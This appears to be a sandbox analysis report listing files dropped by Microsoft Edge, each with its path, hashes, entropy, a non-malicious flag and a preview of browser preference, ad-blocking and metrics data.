Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8095d329-7f73-46ca-b502-e4147a4bae8f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44984
Entropy (8bit):	6.095335416539395
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWsOi1zNtW92mwEi8PDKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yO6FKtSmd6qE7lFoC
MD5:	62EA57E101903854DF590C0ABDB7EE1C
SHA1:	F6F151DDC2DF71790C402ADCA8D270C282A09657
SHA-256:	590E107A1A5390DCB73A9C16276820A98C66B6A7B002ABE87CF3FE1739D7AC03
SHA-512:	8F811C4BFFCEF7818B9B625B08AC51B25E9F60F2A2654B4A5E5B43C34144A68294F94ACE24A74505CBFC7831B9141308AF6141BEBB63F94F6DC07DABF77891D4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\85480b21-5cea-4843-8766-450cb1e82093.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44902
Entropy (8bit):	6.095122051003018
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWQOi1zNtWNLQy2+l2qKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynqHKtSmd6qE7lFoC
MD5:	B8549940862C27ECE586E5C3CB6C1F58
SHA1:	F668D0E3AC2E501B2EB3703F1227C0AA469B16D3
SHA-256:	37DBEC28AC304281D83B89A1F9DC98A48A4AFCD2530690E15DB7ABDE4F430F33
SHA-512:	5CCD065CBF9EB975239610BA6C72F7BF884C5D236BF8261E1E4C6D3FE44FA77B8D0E260284C98EE688B94B2047796AABD8FA871A7D16EB6494A23635A9716F79
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8b569e6c-9903-47e0-b608-fc10ae6350cb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46331
Entropy (8bit):	6.08742212337593
Encrypted:	false
SSDEEP:	768:CMkbJrT8IeQcrQgxKOuti1zNtW92mwEi8PDLbQQkHX1hcCioiJDSgzMMd6qD47uV:CMk1rT8HRKtFL0THUFoitSmd6qE7Y
MD5:	F298EF29426D5FA04472D21EFEA4E564
SHA1:	9D9F2F9C0DC2A492FCCB7FDBAA44EC1575238BCF
SHA-256:	7B64B59628CA872ADFAA6C0304CD0CB5649D9E54BE8CFE529FA415FE6541EAD2
SHA-512:	F25760EF95B9A2D2150E8D8A64983B4FA38B99C74CA7A6378D26ACBA6C312B2CC1A6110DE627451D90E9F77D2748A61FC4841512A03BDEFD829E272C7A8D1D18
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376359661465606","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"592f6634-3894-452f-a0f1-e34c95a0456e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\022bb4b3-cd63-47eb-b1df-f02f13660c6c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673A7BEC-1F34.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.45213244749616716
Encrypted:	false
SSDEEP:	3072:ZQr3NFtqi0WNEw1TY9J0bdZuY1sdexiU07KfqU3MtYVperg1HFLK:Y3NCeTY9+bdZeeymfqU3Mt8peraHRK
MD5:	5BC235BCAA625959B69F918061F66C15
SHA1:	646A81BFBC778F8BF7CD3BC1ED7C069EEC331E55
SHA-256:	101E02F6C8F8D82F3A843DAF4D8B892D8DA72A7DEC8EEB1D80307F49F9751873
SHA-512:	C1D4869E2F5B8D336FEB86F9C68DEB4F9CE66203E4C6E7A696597E6FF8578618F6816604BE0016A1D06570ED3D8FBD4B55A01E5E874CC27157C0A819A1965AE1
Malicious:	false
Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".nyhuxk20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................ .2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\05368cd2-febc-41df-8bd0-d6b52be7b3f4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38627
Entropy (8bit):	5.554868481296951
Encrypted:	false
SSDEEP:	768:rLhOwRWxI7pLGLpbZW5w6wf4OG8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP7QII1e7t:rVvRS0cpbZWa6wfVGu1jaeOAQmQbK68l
MD5:	409DB622AC14E995142CC2F3056533D8
SHA1:	985026D38602AB1E39E6614AC371C8C87650DDBE
SHA-256:	34D3ECF2807DDAC23C90B5F4586178096A21B6A72A5793075D7D0150968666F2
SHA-512:	9417DBFF7D2EFAFB40BA2191DF0B94E117A190D6382846E97D9A5457A80A65B199433C9650A61B4CA5CD8A658F8C5C6356A5592B387CAFFC3EDC7231B1B75F24
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376359660807066","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376359660807066","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2f4acb59-0e0d-44f3-a5a7-817b8e237945.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17369), with no line terminators
Category:	dropped
Size (bytes):	17373
Entropy (8bit):	5.479217260700494
Encrypted:	false
SSDEEP:	192:stMJ99QTryDiuabatSuypAszqaFvrEjhb1kP3NypJsKW+BUT7lukTrDzHW8CbV+a:stMPGQSu4AszqCDqddzrBNbGkQwg3H2
MD5:	C7DC1B934FCC290E1B8BED979D111F19
SHA1:	21D291CD6330C68F64466E652D6910EC5B3E1EDD
SHA-256:	BC067268BCECE7F6022B980D5D99BE8B8DE416A9C1E1C62C551D104D004D785E
SHA-512:	32B7957A79A3CFAF7E4265B5C191C21DA51058B70CDEA2F372A2A1B3C5F04FCC1AF8D12124D31E56B87AF40B8DD86C38DA4BB7CAFC6AA4471899564330FB4481
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376359661396914","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3f2886c8-ae12-47cc-b677-783c4bbbcf09.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16611), with no line terminators
Category:	dropped
Size (bytes):	16615
Entropy (8bit):	5.440093645721109
Encrypted:	false
SSDEEP:	192:stMJ99QTryDiuabatSuypAszqaFvrE9kP3NypJsKW+BUT7lukTrDzHW8CbV+FdGd:stMPGQSu4AszqCDczrBNbGkQwQH2
MD5:	3D119AD73BF10BAD9A84CBBC9D2B7754
SHA1:	C74B3F87F83C938CBD2DA6BD03C055C225A97036
SHA-256:	ED0FC0CD846236CADE15206812F60C140219414FBE307DF77B413FA32CA0B904
SHA-512:	3842A05B338BE4621E404A8F73DA52BCA3E5ED116AD2AA50E78AE815559D5DC4F1A375F14F58E2171FF2A141D0C9246F05EA5E952F5484F0154A6BDA308E1C15
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376359661396914","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4de893c4-5456-4203-84e2-aac08085e442.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.561337453618266
Encrypted:	false
SSDEEP:	768:rLhOwRWxI7pLGLpbZW5w6wf4OG8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPbl/QII1V:rVvRS0cpbZWa6wfVGu1jaKl/OAQmQbKs
MD5:	197252F0F1E292C156BA446861FD98D1
SHA1:	F91DE7A6E78E98C084D51A223CD32BFA7599B3B0
SHA-256:	28F45E6A8901457C90A7EAF807ACF3B0F9B4429FDEB51E9EA1F8530A8503F1C9
SHA-512:	41D6F0F69341EF668145BAC09C547D53166373347A695D8DF4256E307F5223F2A593EC9BD231D5D429754CF75D2D13CAB89DA133587AE8F7765F57FCA65836DE
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376359660807066","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376359660807066","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\607a0f7c-0374-48a2-a98c-d04af8688cec.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7f1e1564-1a6d-4fcb-a281-8cbd23f15762.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

